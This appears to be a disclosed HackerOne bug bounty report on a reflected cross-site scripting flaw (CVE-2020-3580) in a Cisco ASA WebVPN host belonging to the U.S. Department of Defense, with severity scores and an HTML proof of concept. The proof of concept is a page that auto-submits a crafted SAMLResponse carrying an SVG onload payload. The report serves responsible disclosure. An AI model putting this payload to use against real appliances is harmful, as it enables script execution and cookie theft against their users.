U.S. Dept Of Defense: XSS due to CVE-2020-3580 [██████]

2021-07-2520:33:02

fdeleite

hackerone.com

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

2.6 Low

CVSS2

Access Vector

NETWORK

Access Complexity

HIGH

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:H/Au:N/C:N/I:P/A:N

0.973 High

EPSS

Percentile

99.8%

JSON

Multiple vulnerabilities in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the web services interface of an affected device.

Steps To Reproduce

Go to this URL

http://www.info-sec.cl/post-xss-███████.html

HTML POC:

<html>
<body>
<script>history.pushState(‘’, ‘’, ‘/’)</script>
<form action=‘https://‘████████’/+CSCOE+/saml/sp/acs?tgname=a’ method=‘POST’>
<input type=‘hidden’ name=‘SAMLResponse’ value=‘"><svg/onload=alert(document.cookies)>’/>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Impact

An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link.
A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information.

Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations.

Supporting Material References
https://www.exploit-db.com/exploits/47988
https://twitter.com/sagaryadav8742/status/1275170967527006208